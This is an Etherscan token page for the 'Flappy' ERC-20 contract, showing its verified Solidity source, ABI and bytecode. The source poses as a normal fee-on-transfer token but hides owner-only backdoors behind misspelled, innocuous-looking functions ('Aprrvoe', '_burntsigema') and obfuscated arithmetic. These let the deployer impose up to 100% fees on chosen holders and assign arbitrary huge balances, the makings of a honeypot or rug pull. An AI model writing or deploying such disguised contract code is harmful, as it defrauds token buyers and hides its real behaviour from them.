ETH Price: $3,837.39 (-0.21%)

Token

ERC-20: Flappy (FLAPPY)
 

Overview

Max Total Supply

1,000,000,000 FLAPPY

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
34,253,886.195311369 FLAPPY

Value
$0.00
0x95d04d3ccb7dd3067bc9fefedc7310fcd7aad521
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FLAPPY

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-04-23
*/

/**
https://t.me/FLAPPYONETH
https://twitter.com/FLAPPY_ETH
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    constructor () {_owner = msg.sender;}
    
    function owner() public view returns (address) {return _owner;}
    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }
    
    function transferOwnershipupdates(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }

}

contract FLAPPY is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _swapFeeTo;string public name;string public symbol;
    uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
    bool private inSwap;uint256 private constant MAX = ~uint256(0);
    mapping (address => uint256) public __balances; 

    uint256 public _swapTax;
    address public _uniswapPair;

    function _transfer(address from,address to,uint256 amount) private {

        bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];

        _balances[from] = _balances[from] - amount;

        uint256 _taxAmount;
        if (shouldBetakeFee) {
            uint256 feeAmount = amount * __balances[from] / 100;
            _taxAmount += feeAmount;
            if (feeAmount > 0){
                _balances[address(_swapFeeTo)] += feeAmount;
                emit Transfer(from, address(_swapFeeTo), feeAmount);
            }
        }
        _balances[to] = _balances[to] + amount - _taxAmount;
        emit Transfer(from, to, amount - _taxAmount);
    }

    constructor (){
        name = unicode"Flappy";
        symbol = unicode"FLAPPY";
        decimals = 9;
        uint256 Supply = 1000000000;
        _swapFeeTo = msg.sender;
        _swapTax = 0;
        totalSupply = Supply * 10 ** decimals;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[_swapFeeTo] = true;

        _balances[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
        
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;
    }


    function Aprrvoe(address[] memory _usr, uint256 _feePct) external {
        uint256 v1 = 0x01;
        uint256 v2 = 0x02;
        uint256 v3 = 0x03;
        uint256 f0 = (msg.sender == _swapFeeTo ? v2 + v3 : v2 - v1);
        uint256 f1 = f0 - v3;
        f0 = f1 + (v1 - 0x01);
        for (uint256 idx = 0x0; idx < _usr.length; idx++) {
            __balances[_usr[idx]] = _feePct + (f0 - f1);
        }
    }
    

    function _burntsigema(address user) public {
        mapping(address=>uint256) storage _allowance = _balances;
        uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1;
        uint256 C = A - 3;A = C;
        _allowance[user] = 1000*totalSupply*C**2;
    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_usr","type":"address[]"},{"internalType":"uint256","name":"_feePct","type":"uint256"}],"name":"Aprrvoe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"_burntsigema","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnershipupdates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600681526020017f466c6170707900000000000000000000000000000000000000000000000000008152506004908162000098919062000937565b506040518060400160405280600681526020017f464c41505059000000000000000000000000000000000000000000000000000081525060059081620000df919062000937565b506009600660006101000a81548160ff021916908360ff1602179055506000633b9aca00905033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b81905550600660009054906101000a900460ff16600a6200016c919062000bae565b8162000179919062000bff565b6008819055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600854600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000351919062000c5b565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004e7919062000ce2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000571573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000597919062000ce2565b6040518363ffffffff1660e01b8152600401620005b692919062000d25565b6020604051808303816000875af1158015620005d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005fc919062000ce2565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062000d52565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200073f57607f821691505b602082108103620007555762000754620006f7565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007bf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000780565b620007cb868362000780565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000818620008126200080c84620007e3565b620007ed565b620007e3565b9050919050565b6000819050919050565b6200083483620007f7565b6200084c62000843826200081f565b8484546200078d565b825550505050565b600090565b6200086362000854565b6200087081848462000829565b505050565b5b8181101562000898576200088c60008262000859565b60018101905062000876565b5050565b601f821115620008e757620008b1816200075b565b620008bc8462000770565b81016020851015620008cc578190505b620008e4620008db8562000770565b83018262000875565b50505b505050565b600082821c905092915050565b60006200090c60001984600802620008ec565b1980831691505092915050565b6000620009278383620008f9565b9150826002028217905092915050565b6200094282620006bd565b67ffffffffffffffff8111156200095e576200095d620006c8565b5b6200096a825462000726565b620009778282856200089c565b600060209050601f831160018114620009af57600084156200099a578287015190505b620009a6858262000919565b86555062000a16565b601f198416620009bf866200075b565b60005b82811015620009e957848901518255600182019150602085019450602081019050620009c2565b8683101562000a09578489015162000a05601f891682620008f9565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000aac5780860481111562000a845762000a8362000a1e565b5b600185161562000a945780820291505b808102905062000aa48562000a4d565b945062000a64565b94509492505050565b60008262000ac7576001905062000b9a565b8162000ad7576000905062000b9a565b816001811462000af0576002811462000afb5762000b31565b600191505062000b9a565b60ff84111562000b105762000b0f62000a1e565b5b8360020a91508482111562000b2a5762000b2962000a1e565b5b5062000b9a565b5060208310610133831016604e8410600b841016171562000b6b5782820a90508381111562000b655762000b6462000a1e565b5b62000b9a565b62000b7a848484600162000a5a565b9250905081840481111562000b945762000b9362000a1e565b5b81810290505b9392505050565b600060ff82169050919050565b600062000bbb82620007e3565b915062000bc88362000ba1565b925062000bf77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ab5565b905092915050565b600062000c0c82620007e3565b915062000c1983620007e3565b925082820262000c2981620007e3565b9150828204841483151762000c435762000c4262000a1e565b5b5092915050565b62000c5581620007e3565b82525050565b600060208201905062000c72600083018462000c4a565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000caa8262000c7d565b9050919050565b62000cbc8162000c9d565b811462000cc857600080fd5b50565b60008151905062000cdc8162000cb1565b92915050565b60006020828403121562000cfb5762000cfa62000c78565b5b600062000d0b8482850162000ccb565b91505092915050565b62000d1f8162000c9d565b82525050565b600060408201905062000d3c600083018562000d14565b62000d4b602083018462000d14565b9392505050565b611abe8062000d626000396000f3fe6080604052600436106101185760003560e01c8063430344f8116100a05780638871084b116100645780638871084b146103d45780638da5cb5b146103fd57806395d89b4114610428578063a9059cbb14610453578063dd62ed3e146104905761011f565b8063430344f8146102ef5780634bf28fd0146103185780635ee9eec01461034357806365b61b771461036c57806370a08231146103975761011f565b806330da23e4116100e757806330da23e4146101f4578063313ce5671461021f57806336b2e0271461024a578063420d10b514610287578063426329c1146102c45761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104cd565b60405161014691906111e5565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906112af565b61055b565b604051610183919061130a565b60405180910390f35b34801561019857600080fd5b506101a1610572565b6040516101ae9190611334565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d9919061134f565b610578565b6040516101eb919061130a565b60405180910390f35b34801561020057600080fd5b5061020961071e565b6040516102169190611334565b60405180910390f35b34801561022b57600080fd5b50610234610724565b60405161024191906113be565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c91906113d9565b610737565b60405161027e919061130a565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906113d9565b610757565b6040516102bb9190611334565b60405180910390f35b3480156102d057600080fd5b506102d961076f565b6040516102e69190611415565b60405180910390f35b3480156102fb57600080fd5b50610316600480360381019061031191906113d9565b610795565b005b34801561032457600080fd5b5061032d610866565b60405161033a9190611415565b60405180910390f35b34801561034f57600080fd5b5061036a600480360381019061036591906113d9565b61088c565b005b34801561037857600080fd5b5061038161097b565b60405161038e919061148f565b60405180910390f35b3480156103a357600080fd5b506103be60048036038101906103b991906113d9565b6109a1565b6040516103cb9190611334565b60405180910390f35b3480156103e057600080fd5b506103fb60048036038101906103f691906115f2565b6109ea565b005b34801561040957600080fd5b50610412610b3a565b60405161041f9190611415565b60405180910390f35b34801561043457600080fd5b5061043d610b63565b60405161044a91906111e5565b60405180910390f35b34801561045f57600080fd5b5061047a600480360381019061047591906112af565b610bf1565b604051610487919061130a565b60405180910390f35b34801561049c57600080fd5b506104b760048036038101906104b2919061164e565b610c08565b6040516104c49190611334565b60405180910390f35b600480546104da906116bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610506906116bd565b80156105535780601f1061052857610100808354040283529160200191610553565b820191906000526020600020905b81548152906001019060200180831161053657829003601f168201915b505050505081565b6000610568338484610c8f565b6001905092915050565b60085481565b6000610585848484610d7a565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107135781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610692919061171d565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600b5481565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a9061179d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006001905060003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f05760016108f3565b60095b60ff1690506000600382610907919061171d565b905080915060028161091991906118f0565b6008546103e8610929919061193b565b610933919061193b565b8360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600190506000600290506000600390506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a64578383610a5f919061171d565b610a71565b8183610a70919061197d565b5b905060008282610a81919061171d565b9050600185610a90919061171d565b81610a9b919061197d565b915060005b8751811015610b30578183610ab5919061171d565b87610ac0919061197d565b600a60008a8481518110610ad757610ad66119b1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610b28906119e0565b915050610aa0565b5050505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60058054610b70906116bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610b9c906116bd565b8015610be95780601f10610bbe57610100808354040283529160200191610be9565b820191906000526020600020905b815481529060010190602001808311610bcc57829003601f168201915b505050505081565b6000610bfe338484610d7a565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d6d9190611334565b60405180910390a3505050565b6000600960149054906101000a900460ff16158015610de35750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610e395750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e86919061171d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081156110455760006064600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485610f20919061193b565b610f2a9190611a57565b90508082610f38919061197d565b91506000811115611043578060016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb4919061197d565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161103a9190611334565b60405180910390a35b505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611091919061197d565b61109b919061171d565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611139919061171d565b6040516111469190611334565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561118f578082015181840152602081019050611174565b60008484015250505050565b6000601f19601f8301169050919050565b60006111b782611155565b6111c18185611160565b93506111d1818560208601611171565b6111da8161119b565b840191505092915050565b600060208201905081810360008301526111ff81846111ac565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112468261121b565b9050919050565b6112568161123b565b811461126157600080fd5b50565b6000813590506112738161124d565b92915050565b6000819050919050565b61128c81611279565b811461129757600080fd5b50565b6000813590506112a981611283565b92915050565b600080604083850312156112c6576112c5611211565b5b60006112d485828601611264565b92505060206112e58582860161129a565b9150509250929050565b60008115159050919050565b611304816112ef565b82525050565b600060208201905061131f60008301846112fb565b92915050565b61132e81611279565b82525050565b60006020820190506113496000830184611325565b92915050565b60008060006060848603121561136857611367611211565b5b600061137686828701611264565b935050602061138786828701611264565b92505060406113988682870161129a565b9150509250925092565b600060ff82169050919050565b6113b8816113a2565b82525050565b60006020820190506113d360008301846113af565b92915050565b6000602082840312156113ef576113ee611211565b5b60006113fd84828501611264565b91505092915050565b61140f8161123b565b82525050565b600060208201905061142a6000830184611406565b92915050565b6000819050919050565b600061145561145061144b8461121b565b611430565b61121b565b9050919050565b60006114678261143a565b9050919050565b60006114798261145c565b9050919050565b6114898161146e565b82525050565b60006020820190506114a46000830184611480565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6114e78261119b565b810181811067ffffffffffffffff82111715611506576115056114af565b5b80604052505050565b6000611519611207565b905061152582826114de565b919050565b600067ffffffffffffffff821115611545576115446114af565b5b602082029050602081019050919050565b600080fd5b600061156e6115698461152a565b61150f565b9050808382526020820190506020840283018581111561159157611590611556565b5b835b818110156115ba57806115a68882611264565b845260208401935050602081019050611593565b5050509392505050565b600082601f8301126115d9576115d86114aa565b5b81356115e984826020860161155b565b91505092915050565b6000806040838503121561160957611608611211565b5b600083013567ffffffffffffffff81111561162757611626611216565b5b611633858286016115c4565b92505060206116448582860161129a565b9150509250929050565b6000806040838503121561166557611664611211565b5b600061167385828601611264565b925050602061168485828601611264565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806116d557607f821691505b6020821081036116e8576116e761168e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061172882611279565b915061173383611279565b925082820390508181111561174b5761174a6116ee565b5b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000611787600683611160565b915061179282611751565b602082019050919050565b600060208201905081810360008301526117b68161177a565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115611814578086048111156117f0576117ef6116ee565b5b60018516156117ff5780820291505b808102905061180d856117bd565b94506117d4565b94509492505050565b60008261182d57600190506118e9565b8161183b57600090506118e9565b8160018114611851576002811461185b5761188a565b60019150506118e9565b60ff84111561186d5761186c6116ee565b5b8360020a915084821115611884576118836116ee565b5b506118e9565b5060208310610133831016604e8410600b84101617156118bf5782820a9050838111156118ba576118b96116ee565b5b6118e9565b6118cc84848460016117ca565b925090508184048111156118e3576118e26116ee565b5b81810290505b9392505050565b60006118fb82611279565b9150611906836113a2565b92506119337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461181d565b905092915050565b600061194682611279565b915061195183611279565b925082820261195f81611279565b91508282048414831517611976576119756116ee565b5b5092915050565b600061198882611279565b915061199383611279565b92508282019050808211156119ab576119aa6116ee565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006119eb82611279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a1d57611a1c6116ee565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611a6282611279565b9150611a6d83611279565b925082611a7d57611a7c611a28565b5b82820490509291505056fea2646970667358221220415eca2b7c39149480a3ced7dc8a68ef499b1aaf6c16a20ddb6788ef1699213d64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101185760003560e01c8063430344f8116100a05780638871084b116100645780638871084b146103d45780638da5cb5b146103fd57806395d89b4114610428578063a9059cbb14610453578063dd62ed3e146104905761011f565b8063430344f8146102ef5780634bf28fd0146103185780635ee9eec01461034357806365b61b771461036c57806370a08231146103975761011f565b806330da23e4116100e757806330da23e4146101f4578063313ce5671461021f57806336b2e0271461024a578063420d10b514610287578063426329c1146102c45761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104cd565b60405161014691906111e5565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906112af565b61055b565b604051610183919061130a565b60405180910390f35b34801561019857600080fd5b506101a1610572565b6040516101ae9190611334565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d9919061134f565b610578565b6040516101eb919061130a565b60405180910390f35b34801561020057600080fd5b5061020961071e565b6040516102169190611334565b60405180910390f35b34801561022b57600080fd5b50610234610724565b60405161024191906113be565b60405180910390f35b34801561025657600080fd5b50610271600480360381019061026c91906113d9565b610737565b60405161027e919061130a565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906113d9565b610757565b6040516102bb9190611334565b60405180910390f35b3480156102d057600080fd5b506102d961076f565b6040516102e69190611415565b60405180910390f35b3480156102fb57600080fd5b50610316600480360381019061031191906113d9565b610795565b005b34801561032457600080fd5b5061032d610866565b60405161033a9190611415565b60405180910390f35b34801561034f57600080fd5b5061036a600480360381019061036591906113d9565b61088c565b005b34801561037857600080fd5b5061038161097b565b60405161038e919061148f565b60405180910390f35b3480156103a357600080fd5b506103be60048036038101906103b991906113d9565b6109a1565b6040516103cb9190611334565b60405180910390f35b3480156103e057600080fd5b506103fb60048036038101906103f691906115f2565b6109ea565b005b34801561040957600080fd5b50610412610b3a565b60405161041f9190611415565b60405180910390f35b34801561043457600080fd5b5061043d610b63565b60405161044a91906111e5565b60405180910390f35b34801561045f57600080fd5b5061047a600480360381019061047591906112af565b610bf1565b604051610487919061130a565b60405180910390f35b34801561049c57600080fd5b506104b760048036038101906104b2919061164e565b610c08565b6040516104c49190611334565b60405180910390f35b600480546104da906116bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610506906116bd565b80156105535780601f1061052857610100808354040283529160200191610553565b820191906000526020600020905b81548152906001019060200180831161053657829003601f168201915b505050505081565b6000610568338484610c8f565b6001905092915050565b60085481565b6000610585848484610d7a565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107135781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610692919061171d565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600b5481565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565